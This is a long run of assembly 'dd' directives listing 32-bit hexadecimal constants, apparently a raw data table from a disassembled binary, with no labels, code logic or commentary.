		dd 6C0360BAh, 0EFB8FED4h, 0D81567B3h, 8227B2h, 3FD6AAECh
		dd 7E6E8A96h, 500C691Eh, 0ABB2DF41h, 7CD46738h,	0AE72A7h
		dd 89875D9Fh, 588EDC92h, 53B00F7Eh, 0E9BC314Bh,	0DB376F00h
		dd 1DB54348h, 0D009E8B0h, 0B2AE92h, 1433203Ch, 0B975008Dh
		dd 1E4E2AE7h, 20E0C9Bh,	0A018ECEDh, 0C8A26C56h,	0E47E08h
		dd 0B2E61FF0h, 83128EA6h, 9BEF3Ah, 0A38763Bh, 0A8FFDCh
		dd 208601BFh, 9D5B0CA9h, 0B8786A0Fh, 6300BE54h,	930E3268h
		dd 7F750084h, 64D03623h, 961E8C6Dh, 0EE49B97Bh,	0E78F00A7h
		dd 1CA5925h, 316CEB8Ah,	2490098Bh, 74019564h, 0F11A2E7Eh
		dd 7AF869E8h, 10CF660h,	0B8677FF2h, 8723D402h, 0EC04F64Eh
		dd 0B9B61573h, 99D025E0h, 71080067h, 0C6EADCFDh, 0E2004246h
		dd 0D6695263h, 1A5FB29h, 78BBC030h, 0C87E4BD5h,	0A101C5DEh
		dd 0C71F4655h, 50F8B263h, 6C74A9h, 6E94A728h, 0D343B91Bh
		dd 3524CCB8h, 6B9D86F6h, 0C0168DCEh, 227F17D6h,	0C6DE6097h
		dd 0BD60F447h, 0BB803Ah, 318CB676h, 1092610h, 9C91DE20h
		dd 0D8C01411h, 617299Ah, 0DEB8ED7Dh, 48BCDA01h,	0E05C20E4h
		dd 3B0041D4h, 6CA6684Ch, 634F1Fh, 73C4AD9h, 0D1259A15h
		dd 289B4A0h, 0A1E4410Fh, 8857E3FBh, 472298C0h, 9C110252h
		dd 0FFCB9FBDh, 0A0FD58E0h, 0C381B000h, 0E9704929h, 8CE33BFBh
		dd 0F37A4680h, 8794427h, 15BB9F00h, 5DB69CCh, 6DE884h
		dd 0E717E8FCh, 0FB76B3B1h, 53413800h, 0EBBE8C75h, 0A5F662h
		dd 42E188F1h, 645ECE49h, 2B00B77Dh, 4F777F86h, 0ECC820h
		dd 0CA13A398h, 0B453ADB0h, 63195Ch, 0A511ABF3h,	942A7EA9h
		dd 331802E7h, 2848F6B3h, 5FF2153Ch, 853E5417h, 1B90814h
		dd 0BBEAD1CCh, 66D4F9A0h, 37DE0248h, 0EC7D1BB2h, 1DD3D8E0h
		dd 0AC8A7800h, 90DA0AFCh, 2E080184h, 0B929F38h,	89E020F2h
		dd 0BCA348h, 5E9530C1h,	763AAF0h, 7C0531A5h, 8B323099h
		dd 58924151h, 0D800BDF4h, 0C65507E4h, 0FC6BE91Ch, 99ECE75Eh
		dd 0A81D00E7h, 3F5D7924h, 0E900B5C4h, 0B7AE3847h, 3AADA935h
		dd 3D85729Dh, 48A063h, 959EC6F4h, 4F003832h, 0FB246489h
		dd 0D02C42h, 3B0C015Bh,	929B58DCh, 0C9D83Dh, 1B430F74h
		dd 1F9F3EEDh, 9D45BCh, 41273081h, 205C973Fh, 758524DEh
		dd 16C0041Eh, 0DDD9F72Fh, 429100B3h, 6DAFE677h,	98008A11h
		dd 259E3087h, 767B23Ch,	0DFCDA9B7h, 0AE970CCh, 5C02EE10h
		dd 0BF0779C7h, 63B86135h, 0B0DE01C0h, 6B400024h, 8BD0705Ch
		dd 0B20BB98Eh, 805047E3h, 0AAFFE980h, 6623002Dh, 0BBBC4B0Fh
		dd 6A00364Dh, 68C2492Ch, 642AEh, 758B081Fh, 0E8C6C5Ah
		dd 0E7C80107h, 5010E248h, 199BAEh, 7C656416h, 0BA89D067h
		dd 7EA4EE00h, 0A44660Bh, 12010B2Fh, 7C27CDA6h, 13DEF42h
		dd 5E072A2Ch, 0CF9830D7h, 0DC13377Eh, 0DC4049C5h, 0DDB6FAB5h
		dd 7B400227h, 9EE98420h, 7AF30840h, 894DFB00h, 23E5F443h
		dd 0DA700083h, 0DCA30253h, 86002C0Bh, 8877742Dh, 69F335h
		dd 2F133E0Fh, 4279875Fh, 0C8F0760Fh, 0D61E619Bh, 0A6C0B10Eh
		dd 5D451272h, 7A7201E3h, 0E00F09E1h, 0B770492Ah, 5F91CA00h
		dd 873820EDh, 573D0007h, 92B24FC2h, 9CEE9EA4h, 60DA4600h
		dd 59289144h, 481F003Bh, 65C455D3h, 0AF0081AAh,	0A7FC37EAh
		dd 622DF1h, 0E668D92Bh,	0F3B1390Dh, 769DC000h, 358057BAh
		dd 0D6523055h, 4B6AB861h, 6906D801h, 5068EB82h,	0B196DECh
		dd 0D11DBAECh, 91667400h, 8500D2E9h, 24721532h,	7DA738h
		dd 0EF8954B4h, 60683BB8h, 0BDF64E09h, 2FB38090h, 0FAAC30h
		dd 36CCBBD5h, 0C544A17Fh, 2900DCB0h, 0A218B42Bh, 388DADh
		dd 7209AA23h, 40A67DC8h, 0E2713403h, 0A0B641BFh, 0FC561Ch
		dd 0BE072D8Dh, 90A4BA54h, 3B050F00h, 5B4EE6ACh,	0A0DA0004h
		dd 0EACEA823h, 0DD027FCBh, 0A2059C13h, 5AD0802Dh, 3939184h
		dd 70B11ECCh, 0BDCF0BCAh, 3AC1E0B0h, 28C6B900h,	2134751Ah
		dd 6DD83F5Ch, 13A100F6h, 0FE3755A7h, 2400E622h,	212D0965h
		dd 3F8CD53Dh, 840081A4h, 0F80DD345h, 0E007895Eh, 0C1CD653Ch
		dd 0E0FE8EDFh, 0B6C52705h, 4B0400A0h, 89DF1A88h, 1C0FF534h
		dd 0C3DD2FC1h, 0D81FCF44h, 0F2BF21h, 2B832A52h,	346566D6h
		dd 0C768B30Fh, 0FF98801Fh, 0B5374DC1h, 7900A7D0h, 0A13574A4h
		dd 9AF2571h, 0E95C46C3h, 686F1E83h, 0C84DAEB0h,	283DEA00h
		dd 9C206D0h, 0E2F76F9h,	0DA3F16A5h, 4C000A89h, 0BAD3536Dh
		dd 96C5C400h, 8D5F886Bh, 0F3CC0071h, 6A7D9F2Eh,	0E2E03539h
		dd 4F85C000h, 0F22F3A93h, 9F0300E6h, 28D5FCDAh,	0EF005D44h
		dd 898D5254h, 0F5C880h,	0CAA6D1E7h, 8E513B02h, 0C1EDF704h
		dd 0C7804156h, 0F6C6CB66h, 7A610B9Dh, 9A00C5DBh, 0B670AF96h
		dd 6842984Ah, 482CD5A3h, 75A99AFCh, 0A8BE3A74h,	59913609h
		dd 7BB0E840h, 75925E00h, 8CE2AD86h, 0D47AABh, 7707AAF6h
		dd 2A8B7AA3h, 0D374DF7Ah, 0DA9881ECh, 4DD14000h, 5FD73909h
		dd 12C100A6h, 3FAFBD49h, 4F009959h, 9F47055Ah, 3E8421Dh
		dd 0B6A1C379h, 0A1009BFFh, 0C16FA52Bh, 0C0CEC49Fh, 37BCD0A9h
		dd 2BF03BACh, 736EB51Fh, 0B859DF8Dh, 9AB3CCh, 0F8277D97h
		dd 0C1A18988h, 81A4AC27h, 586513F4h, 7DC4864h, 5946BDFDh
		dd 435C002Fh, 2258147h,	0D3E41818h, 279B0B45h, 6F03D4F1h
		dd 7988BE16h, 9700FFFEh, 0C38CBB73h, 63934h, 637F831Ah
		dd 0ABA66FB3h, 230BCF09h, 93BF84C9h, 11307AC7h,	79403Ch
		dd 8DA1EEE5h, 95BAD8F0h, 60FA11B8h, 173F0F00h, 4231CB24h
		dd 74EF00CDh, 0B7D5C63Bh
		dd 360077A4h, 50C292F5h, 712875ABh, 996E0007h, 0EA78DF38h
		dd 0AA00776Ah, 13496759h, 972D63h, 7129A96Eh, 79A3CD3Ah
		dd 0F04E5E07h, 0B2A0EDFCh, 0AD9F65h, 0CD33E87Ah, 847FB95Dh
		dd 0AF4F0700h, 630E978Bh, 9E4B00A4h, 5F94EB2h, 0B603604Dh
		dd 31D84371h, 0DDD3F939h, 40863EE1h, 18D145E9h,	0BA0383F0h
		dd 1D6F4F18h, 0BE610363h, 3F942D8Ah, 141C3D4h, 0B62471DFh
		dd 62208335h, 0A365F25Fh, 0D7A0F03Eh, 5B29000Eh, 9BE29C64h
		dd 4800421Bh, 7E878DAAh, 7F63F38Bh, 2230C0A9h, 83A3F09Dh
		dd 0FC770B00h, 5768CE6Ah, 33210682h, 28637C61h,	0AC81CD00h
		dd 0D5149F8Bh, 0E707002Bh, 3CF2D973h, 20010A98h, 56B5436Ah
		dd 0B98A4FA1h, 0FC7D7Ch, 5F0F8442h, 0CB609E1Ch,	329CECB0h
		dd 884537E8h, 0A06C7789h, 2F800889h, 0ACE941C3h, 8C00B55Ah
		dd 0AD47E036h, 4540C1C6h, 0E880BA4Ch, 2D7AFA2Ah, 341B51F8h
		dd 0B731565Fh, 7FE58480h, 0D2E100C1h, 48CA61E2h, 157CA85Dh
		dd 0A71D8600h, 0A352C5D5h, 45300FCh, 17814CDFh,	76005884h
		dd 0B8FE2BA4h, 0D9374Ah, 0E0B0BFF4h, 7FE283AAh,	0BF1C500h
		dd 39EDCE19h, 0D42E00D1h, 0DC2A3EB0h, 0AB1E6A21h, 84803A3Fh
		dd 7D7F3797h, 3040761Bh, 85409BE8h, 0D458C4DDh,	801618CAh
		dd 76264210h, 1A47FC9h,	1D47CCCFh, 812BDB1Fh, 0BFFFED21h
		dd 0BAE4EF42h, 688CF948h, 8E514AD4h, 5EE63705h,	0FF878653h
		dd 2D1E6E00h, 0D1E906B0h, 2846E360h, 9A9FE203h,	810CDB11h
		dd 0A56116EFh, 21A40898h, 1800E9BEh, 0E19819D6h, 3A8385Dh
		dd 6E5F2E4Ch, 1BE87E11h, 0A90054A7h, 0F6A19BE6h, 65D29Ah
		dd 44CF28C5h, 577FB5F7h, 0FDED600h, 3D695D80h, 836B001Dh
		dd 0DC148E1h, 0D70F3323h, 0C7C9AAF7h, 0B630F0C2h, 98E81BECh
		dd 0CD2B00D7h, 0AD1A3292h, 1200CAB7h, 51BE9F7Bh, 0B1FF41h
		dd 5BDEA9F9h, 5E561959h, 0CBFC1209h, 0B0A28030h, 11F32EEh
		dd 0A422C2A8h, 0D4C9653Bh, 0AA779883h, 0A5D56B0Bh, 0DE04FD3Ah
		dd 0F11AC069h, 700E15EBh, 60010951h, 98F3CB06h,	0DDD800BBh
		dd 0B1C6BF9Eh, 54000777h, 37DFA602h, 7D5BB70Dh,	5A4A1283h
		dd 417A1EAFh, 461E47C1h, 643D0CAh, 852EDE02h, 0E197625Ah
		dd 9C60FDE2h, 982503E5h, 2037C948h, 0E6EE99B0h,	13B0F61Dh
		dd 3E907686h, 314F419h,	0DE3505ABh, 0BCA0FB34h,	38019A28h
		dd 0DD4E1253h, 0B0834993h, 0A1E24047h, 1A794Ch,	2C6B69D6h
		dd 7139F497h, 3BF842h, 0A735C53Eh, 3098367Bh, 48E45100h
		dd 1DBCC021h, 0ACF63086h, 0DE57B4E0h, 51CF4A07h, 407F2D7Ch
		dd 0E7585CD1h, 73083AF1h, 1E7AA700h, 95225586h,	1F6F9600h
		dd 0E84AC0C9h, 8E60007Bh, 0F8B5EC10h, 0EB7428CBh, 0B3B21700h
		dd 65A0E54Ah, 0A1C53CFEh, 9BC8C40Fh, 2BD978Fh, 90D162B8h
		dd 3AA5EC0h, 6DC8A50h, 5AF69501h, 0D3DB4D3Fh, 7FAD1882h
		dd 0F162C0C8h, 6F9883DDh, 5060609Ch, 0EA13BEB9h, 18BACF30h
		dd 0B1C4142h, 0DF564F38h, 18A2AF06h, 2F356400h,	36FEF6F3h
		dd 85D00BAh, 437EC265h,	8A005CF5h, 0A6950401h, 0A3DA89AEh
		dd 0BF4C0DFh, 0B6990087h, 0F08474BBh, 0E90EBD41h, 0C0CD1A71h
		dd 0A13A8207h, 2A680040h, 4438FCABh, 0E10014D9h, 0CBA5B1C1h
		dd 7F3A1109h, 0C7100F7h, 45750F0Eh, 5F301DD0h, 81932014h
		dd 5D4100F6h, 21552353h, 9B00707Dh, 7AEE72C5h, 723CD148h
		dd 38A4003Eh, 3B78888Dh, 230211EDh, 0C668EA56h,	1521C083h
		dd 28E301CBh, 27319AADh, 0F029E0A6h, 840B360Bh,	95390190h
		dd 99D0EFD5h, 0CBB01EDDh, 7B36CEEEh, 0E0AB27C0h, 782659E5h
		dd 0D80612F3h, 6494393h, 582A5709h, 13FC113Dh, 637A7E07h
		dd 4ED07B15h, 0D91A17h,	6FC8BA3Dh, 0D1785C23h, 490DE105h
		dd 8C073E2Fh, 24702E2Ch, 0E6463DCFh, 5F76FEh, 19B50142h
		dd 1299B878h, 7A091E00h, 0A4EA4D20h, 10E30081h,	0ADE88482h
		dd 3F39AABBh, 2E600006h, 964EB1CEh, 2370D2h, 4167E984h
		dd 92956927h, 1F3D9378h, 0C55E8089h, 9B637BC0h,	82FC0025h
		dd 0A95381D5h, 0CE01841Ch, 0B5129CB3h, 9DF4F727h, 6CD11EECh
		dd 3D187056h, 7A0E91DCh, 20419EBCh, 6BBFE992h, 87890ED1h
		dd 0A167E36Dh, 7464F02Dh, 0CF72ED5Dh, 43D9C602h, 40F2AFBBh
		dd 4D13CBh, 0EDDE564h, 9799AD61h, 0FF3CFD00h, 0F5B8AA82h
		dd 415D006Eh, 94802C93h, 310017E9h, 0A30B50BCh,	6CE491h
		dd 0D912F089h, 0DECAB3EEh, 93275E00h, 0B21D2057h, 444E00A4h
		dd 3C2A6732h, 0D3001A38h, 399EC652h, 39975FAAh,	998376D5h
		dd 0C253F8BDh, 0E7C630E7h, 0B91F6ACBh, 4880076Fh, 8A4C9034h
		dd 405F0E2h, 4F1FE91h, 5530C0E6h, 0BD1C3E9Bh, 0CEC60EC7h
		dd 4701085h, 299DA490h,	57D50053h, 79359BE9h, 39A44F9h
		dd 2CC391C0h, 0DF7857h,	9C2AFD2h, 0FE1EBCB9h, 90F01F00h
		dd 9B3F0B95h, 241C06D6h, 582A710Fh, 0B891691Ch,	0C7841030h
		dd 3EAC3894h, 3D4DA906h, 9F001810h, 0D7C878B3h,	28F2FAh
		dd 0CD88DDB4h, 80DCB9F7h, 9D3AECE4h, 64CBE43h, 0F9F875D2h
		dd 0C61001B8h, 0B0AC76A3h, 0C07DD1A6h, 2F01B488h, 4CC2722h
		dd 6D47954h, 14EF074Fh,	0B0AF3C7Eh, 0B3608466h,	0A6A980EBh
		dd 90D43085h, 98FF09BBh, 0F4826BB7h, 8080ACB3h,	1E6A892Ch
		dd 0E7008BB0h, 11519B8Dh, 0A8A98Bh, 58F91FF5h, 8390B6DFh
		dd 3C9BF9C1h, 0C4000193h, 0F4500854h, 0B407908Ch, 0D1FC7E1Fh
		dd 0EBFA0570h, 0E7FF00B7h, 0BDB3C2DEh, 0FB00D355h, 27A97EE4h
		dd 7482FB5h, 7C9826EDh,	921C20C2h, 9E1F68A1h, 0F9A3A8h
		dd 0F2DB6ED5h, 0A73ABh,	9016E1CEh, 8483C3F0h, 3C3CCBE6h
		dd 2C5E8152h, 0DEC2DA58h, 1F7492C4h, 41F1D10Bh,	0EDC0D6DFh
		dd 543E0BEh, 8DE8EB00h,	6DE5275h, 0AE070085h, 6C36C2FBh
		dd 440C1337h, 10C472D6h, 0EB4D008Eh, 23E270FCh,	1C0006E6h
		dd 911FDE9Ch, 8D0284h, 476183C1h, 0E54D5BE1h, 8B642800h
		dd 70D293E3h, 0F97B40h,	85D4B044h, 8EFEA263h, 781EC700h
		dd 1BADED14h, 1C4F75ABh, 0C039EE6Eh, 0B94A5C84h, 650791B8h
		dd 6694BCFDh, 56A5CC40h, 0DF0E004Bh, 1C89FF43h,	750FA73Bh
		dd 4C01F2E7h, 3880A1B8h, 0AB0FFBE1h, 4C603D0Eh,	0E2F1BEA6h
		dd 0DD0C3B00h, 96B7F44Eh, 0CD66004Dh, 45EF022h,	0D61C8A97h
		dd 0F0F7128Ch, 0E4003B87h, 60A556EBh, 9B8050FEh, 44006402h
		dd 7ADFDBD5h, 0AE256Fh,	0A326084Fh, 0D9EB82D3h,	2C1C10C7h
		dd 5073B370h, 91190049h, 0E6E1522Ah, 3503D124h,	0B8DFF438h
		dd 0B4582E09h, 0C4B50112h, 0F09A95DAh, 5D007C08h, 8FE3454Fh
		dd 5830A3h, 36BA6827h, 6CA6FA80h, 0A4F9A000h, 0C0AC1CBCh
		dd 496407C7h, 0A019AD03h, 26E825C4h, 0DAB22800h, 5365EBF4h
		dd 30297E1Eh, 669006CDh, 67000B2Bh, 6CC375FCh, 355B0A0Eh
		dd 996979h, 9DD0DD00h, 0A220D824h, 86FE00F7h, 0D1250128h
		dd 0D724CE0Bh, 0D28024E8h, 0B236C391h, 0A2B814h, 505E894Fh
		dd 2C2C73Bh, 0A716018h,	89F84159h, 20D00CDEh, 6208BF0Eh
		dd 408505Fh, 4ADC44Ah, 0C6241290h, 7C5459EFh, 6248A558h
		dd 8AD7066Ch, 8159075Dh, 5892B2A6h, 58145946h, 1BAC566h
		dd 180838ACh, 0B9E9EE45h, 0B8485D08h, 0A6ED0A0Ch, 400858EBh
		dd 4CFA8A16h, 8C53802Ch, 9A8B237h, 72F82484h, 540209DCh
		dd 0A87A2810h, 1CA040FFh, 0EF013EC9h, 0C382C5FAh, 0D5F9378Bh
		dd 5070C2h, 252E64F9h
		dd 0C5DE2B32h, 0D11C8D00h, 0FD74083Bh, 684C6EF0h, 833249E4h
		dd 36EB7E70h, 1A5CC803h, 0E15984D1h, 0A06B2651h, 0FC03BAF3h
		dd 0FAF23537h, 0B2F590CBh, 20C64C09h, 3946D607h, 1D940FBh
		dd 51006AB1h, 3F0CC5FCh, 3A3770h, 0DA4EEA7Ah, 26DECD4Bh
		dd 11004C92h, 8F10D42Dh, 601EE1C0h, 46995081h, 0D2000A5Dh
		dd 0B1C495DEh, 644A1D1h, 9ED5F1DCh, 16ED856h, 261FDDC1h
		dd 83A09C6Ah, 3C00F8D0h, 0AC56C63Ah, 14D36EB8h,	0B84D15B9h
		dd 0F916033Ch, 0A03F012Fh, 0E0C02013h, 3B147095h, 0C0E88F67h
		dd 0EB645DAFh, 0B8F9507Ch, 11D004Bh, 0B8D81121h, 713A3AADh
		dd 0F0D22A9Dh, 328B2A00h, 0A01FD0C2h, 0FCDF00D1h, 66FB03BAh
		dd 0A898FA17h, 29EF0506h, 53619FE1h, 6C3BBCB8h,	3FB43487h
		dd 643D41A2h, 317120A9h, 8300FD79h, 0F558FAADh,	71C9BD55h
		dd 0D57E7Ah, 0E2CE87EAh, 53AA22DBh, 41351200h, 7C4C041Ah
		dd 29EA0007h, 99E452D9h, 2A00B931h, 9A54BD3h, 0F6C95B30h
		dd 0EAC700E6h, 0D1BBD65Fh, 4500E53Ch, 0FE012070h, 8B8FB5h
		dd 0E934BF85h, 72EDBE3Eh, 0F1C3DA00h, 0E323735h, 50EF0060h
		dd 762668C8h, 770075FFh, 0FA51E4C2h, 8C54BCh, 0B8B3A0F5h
		dd 0FBF08F5Dh, 0ADF72900h, 6E108212h, 0BEBC008Ah, 7C1B592Dh
		dd 0F1056C4Ch, 0C347073Bh, 0C0C0D2C4h, 0B239ACh, 0E7A20AC1h
		dd 19235894h, 0E31C7500h, 0F922E2DAh, 24FD3889h, 4E8B5380h
		dd 8EB1D9D7h, 2907B39h,	2F09EEA8h, 56B260FEh, 657300A3h
		dd 606DB5CDh, 0DF0944C6h, 2318EFh, 0E2A9D96h, 0FA7A0067h
		dd 0A9FF840Fh, 0C8004AC0h, 1012DF6Eh, 0E8ADB7EDh, 4CBC000Eh
		dd 47483FCFh, 77006DBBh, 92D19A38h, 1C625396h, 0C04A244Bh
		dd 0CE70768h, 0DD00D363h, 6F8ACCE1h, 0EE144D0Fh, 5D61013Ah
		dd 107CD07Eh, 4FA0E084h, 0FE86E00h, 221333FAh, 23D2009Ah
		dd 0C32A2CB5h, 5B0F327Ch, 0A01B665Eh, 0EF76408Fh, 0B0F7E20Bh
		dd 0C6F00E31h, 6A636DDBh, 28085B78h, 8412AEEh, 4C845C18h
		dd 0BA00E493h, 1E751379h, 10224222h, 1889BB64h,	5151DCC8h
		dd 28176155h, 15BD156h,	5188A57Fh, 0B29CE3A4h, 0EA181510h
		dd 52D8A181h, 89C72088h, 0BE3C41C1h, 0E5188D2h,	0D7BC8840h
		dd 16C5EB84h, 5C055202h, 8CDD8103h, 29E47806h, 5DDAFD18h
		dd 0C0C0E6F0h, 23059778h, 11006924h, 0D79B99D6h, 1E3D4D17h
		dd 4014F4F2h, 7FB1500Ah, 0D20048EAh, 0EF086227h, 601CD468h
		dd 0B1FE112Eh, 5500908Bh, 0C119CE53h, 7549953Fh, 82EF0050h
		dd 0F8808EA9h, 580EB02Bh, 37B52EC5h, 0ECFAAE00h, 7BF21EFCh
		dd 2C8D0EB1h, 0A8C77550h, 0EA83E341h, 49B58CC0h, 969F6B01h
		dd 3FEF6906h, 1EAEF1F4h, 0C05A4CA0h, 92E7124Fh,	9C008270h
		dd 8991B717h, 0C780C2h,	0C01356ECh, 7EAE2EF3h, 17D89C1Ch
		dd 0F0C6F9C0h, 3E24F48h, 0B5ED77FCh, 1000543Eh,	728EFD3Fh
		dd 3DBC8F7Fh, 8307DE27h, 0B0936F35h, 924AFE5h, 56DDD600h
		dd 0B421E0C3h, 0BB708Ch, 6B1AD291h, 0AD1D1FD8h,	0DCA4201h
		dd 0EFE9C43Eh, 3B6EF4h,	0FAE15DEDh, 6BFF0113h, 22580400h
		dd 0BDB8D4F4h, 37C400E0h, 0B795E474h, 7E0EEB30h, 0E00205C0h
		dd 1CB1E167h, 71D000B4h, 67832D3h, 0E40020E6h, 3842CD8Dh
		dd 2B8530h, 9EF1AA0h, 1763F722h, 0D975D81Ch, 38182DC0h
		dd 5C41B7AFh, 0AC1E0C8Eh, 26D6709Ch, 1000D68Ch,	1B1F3346h
		dd 281189h, 8A4CC3A0h, 91EABE8Bh, 531E0D01h, 6DF58099h
		dd 2CCCF0h, 0D9672F64h,	6B81EE48h, 427A7800h, 7EC04BF3h
		dd 947875h, 0B22D2EA0h,	442BFE7Ch, 1F5C2607h, 2F000EF8h
		dd 6D7FD1h, 0DE88F0A9h,	0B5053981h, 8F9FFD00h, 846E8E7Ch
		dd 19941DBEh, 0C883C05Ch, 0B4BFF13Ch, 0B1663900h, 92C9334Eh
		dd 197E06Dh, 0D481DD4h,	20BCB906h, 0A30067A8h, 0D3902425h
		dd 0AB4AC8h, 97DB8458h,	6B0EF32Bh, 0E9ED8C00h, 33575FF4h
		dd 48C300C6h, 1975315h,	8A1C8F8Bh, 0C40617Fh, 11CBCC10h
		dd 0CAD200F5h, 1F68722Eh, 18008150h, 0AE155CB1h, 0D3B448h
		dd 497A77DEh, 32C02464h, 1BB8170Fh, 0E0E3E03Dh,	318044Bh
		dd 0A5F4FF06h, 0B0C729FDh, 2D3BDE41h, 623A0A00h, 0BAAE4201h
		dd 1CBF076Ch, 2F47E2E5h, 0F51DC300h, 0CC0099B1h, 0C6D97E52h
		dd 5FA72AA2h, 4898EC95h, 0EA007CEFh, 19AD3BFEh,	0BD4731Ch
		dd 0D6DBBE6Ah, 3275FE80h, 880106FBh, 46D23C72h,	0A9CC81C2h
		dd 26F60085h, 110CFFA1h, 61008423h, 4902AE82h, 0D7DD4Fh
		dd 4D40A9C9h, 110B1815h, 0F0544100h, 876CBB3Eh,	8A1E002Eh
		dd 9A1D9B12h, 6500F8B3h, 1A9F2066h, 2B983Fh, 956A60C5h
		dd 92A78256h, 784AD407h, 13D34301h, 0F873D06Dh,	0CCA40396h
		dd 0B3C6BAA3h, 20F533D8h, 0A11FA57Bh, 511DF3BBh, 0CD0BABC1h
		dd 0F4C1798Eh, 2568FC0h, 14A6775Dh, 304095FCh, 0F9031380h
		dd 46EAAF85h, 0F780CD9Eh, 4B607Dh, 69D1EEDDh, 0C71BAB4Fh
		dd 661E7C0Fh, 1257805Dh, 60C1CEDh, 781D7FCAh, 150024DCh
		dd 0AFD277E9h, 0A9719Fh, 0F5642BDDh, 5CACE892h,	53438200h
		dd 0D8A30569h, 0E5B105ABh, 80DA839Fh, 5170DC1Ah, 0EF004071h
		dd 5496E662h, 1B310E68h, 218E103Dh, 8890A08Fh, 0C33C6F52h
		dd 0CE398077h, 92C28AADh, 9D0F00FCh, 71BEDC1Dh,	15073347h
		dd 2401829Fh, 0C059F590h, 93350318h, 4925E6C4h,	64A670B7h
		dd 3400275Bh, 0DFABB23Ch, 0A1AE29h, 3EBEEDB4h, 134A2AAAh
		dd 2EF6C207h, 10E0DBC1h, 0A9C849h, 9C0B1C02h, 7179F3BEh
		dd 0E600FDFAh, 0E912AE83h, 0F6C4FCh, 0EEC735E2h, 3FDA1ED2h
		dd 81DF2A24h, 7F8D2100h, 0F512C3h, 4CA8C565h, 0EDADE66Eh
		dd 77018672h, 0A0261613h, 0D4C197F1h, 151570h, 3BA8F45Ah
		dd 49BAEFBDh, 0C33C2116h, 0F5D1F00h, 49CD4h, 0F82D2CEAh
		dd 86BC2FA8h, 4AF6BF12h, 0F09EA500h, 3F504Bh, 2AAB6F4Dh
		dd 7239CBE9h, 77D06600h, 0A480A7ACh, 0F616131Bh, 62C80047h
		dd 157984B0h, 0E40C4A00h, 0CCCB5D7Fh, 0F4CCE5E7h, 563008Dh
		dd 0C69A7895h, 1702A8F6h, 0FF858679h, 0C4776088h, 542A3889h
		dd 3F27DB2Eh, 4B232Ch, 73F3976h, 9200207Ch, 224E4B1Ch
		dd 148CD2h, 0A3027BD5h,	1D3F2ADEh, 0F0A09600h, 0C48D0B4Dh
		dd 9C90006Fh, 47BFDFB8h, 3E796957h, 42306E00h, 5270D234h
		dd 4882F418h, 6F0B3417h, 36807E63h, 25E2523h, 0E2A70A0Bh
		dd 15038431h, 0AB779A80h, 1E6A7B08h, 9CD402B3h,	0C6CF00DAh
		dd 83CB179Dh, 0AC80BE3Bh, 48092EEDh, 0DD9F00DBh, 610349h
		dd 81B1C06Eh, 2BF2CE8Ah, 0D721A200h, 0D1346245h, 126B032Ah
		dd 70495D8h, 8B814C8h, 0BBCED003h, 0C02CA6B2h, 1DD587h
		dd 66646EF4h, 0C5559EE2h, 74BA4400h, 0A19DBBD1h, 1DBD0042h
		dd 7DE24E04h, 1E0022E7h, 0B5031413h, 0A023FEBFh, 0BA76CDh
		dd 0DAD5E08Ch, 7BBE5E02h, 4CB82E07h, 60F18003h,	0BC409A11h
		dd 0B16359h, 2BD1C53Ah,	0B0D43233h, 9891EC0Ch, 6E039406h
		dd 56E020FDh, 0DD978BD6h, 0D90DA11Eh, 0F780DADEh, 8C2E469Fh
		dd 0D79800C3h, 30641BAFh, 8EE81669h, 73000878h,	0D029030Ah
		dd 4C721h, 708A8B53h, 0DE8CDF4Eh, 5062BC24h, 0B4AED000h
		dd 26E285h, 0D3A1BBBEh,	9480B70Eh, 0A4F19E39h, 5600992Ch
		dd 386C47EBh, 8FE1Ah, 142DFD62h, 3094AED7h, 48C99F00h
		dd 2C372BAFh, 473F395Dh, 0C0C0759Fh, 4CEA3C0Bh,	0D200F7FBh
		dd 0F516BC17h, 0E967D3h
		dd 4266541Fh, 0D9026AC8h, 9D233100h, 0E5FA7B10h, 45F958C6h
		dd 5A8C8B00h, 7F3889D2h, 9F2683EAh, 6C005888h, 396F065Fh
		dd 4C3AE28Ch, 0D1006037h, 630D5BA7h, 0AB04649Eh, 25E93253h
		dd 5AB53581h, 2E101180h, 6D52C20Dh, 7429FA00h, 0F55FB24Fh
		dd 0CD7A006Bh, 0D56E35CAh, 0A500EF52h, 0ACB6649Dh, 75D9C08h
		dd 0B2AF468Eh, 160980A2h, 367D18A4h, 0ED8020Eh,	0F8DB6011h
		dd 486C9Eh, 12DE3BF7h, 4A710395h, 24B0C000h, 26C8CDC1h
		dd 50330043h, 83F67857h, 3509C638h, 8066978Fh, 3D60BA90h
		dd 21550046h, 0E6088265h, 0B91C7307h, 8A40453Bh, 3EFA3160h
		dd 0CD3D0023h, 0F44DA64Bh, 0F090678Ch, 0E4EAFB00h, 543750A4h
		dd 3B7793h, 5624A9D0h, 5FA79151h, 3A132800h, 99B80E4Eh
		dd 63BE07BCh, 7E1701Ch,	0B77700A3h, 810457CCh, 96B26526h
		dd 3DBBFF01h, 0E7000FE0h, 77CFA33Bh, 8001BA3Ah,	29AD0DEFh
		dd 69308B1Dh, 7E1F09F5h, 16008D10h, 0DC08A98Eh,	3AE6E500h
		dd 66619625h, 90A4EE06h, 70DE00C8h, 0BC888733h,	7701CCC8h
		dd 2FB15F93h, 17608A60h, 37D40204h, 9606EF50h, 69D9B480h
		dd 0F376D6BEh, 77C4A400h, 0C14AD81h, 1B7C012Fh,	44820D11h
		dd 98BD414Fh, 0A67020ECh, 85205D00h, 0F90B935Ch, 9F0008Eh
		dd 0B43BD01Dh, 431DDE38h, 44E42A05h, 10A31700h,	18A083h
		dd 62AC2D1Bh, 0B5BDF7CCh, 0D6FF5500h, 0EC9CDFF9h, 4DC00017h
		dd 33A86E9h, 45300ECFh,	0F9D211F4h, 0BD31C67h, 336D2B5h
		dd 0D82C7E44h, 0B2C4F5A8h, 3CC548h, 0CA2347Dh, 3D70ED4h
		dd 72B1F1BAh, 5BC89944h, 0B3026AB0h, 238EC36Bh,	43B081E6h
		dd 4206E47h, 0EFE30EEh,	3FFB0F49h, 44418603h, 901E4B45h
		dd 129C818Bh, 134D4396h, 8BA71DFEh, 4808FDFh, 7C469BEFh
		dd 8871980Fh, 0C2E76069h, 0A6C5EAh, 1AD80C3Bh, 0D6488146h
		dd 33238D03h, 0B09EF355h, 6E200Fh, 0AA8E96DCh, 0C2F0FAFEh
		dd 9F298F00h, 2D923722h, 0A7562868h, 0A24F00A8h, 9A5B5D48h
		dd 6DB8A6F2h, 80C20400h, 0EA3871EDh, 165700C1h,	60EC0A2h
		dd 0F8006824h, 2CBD26FFh, 0FB76E4h, 0DF3364ADh,	32851905h
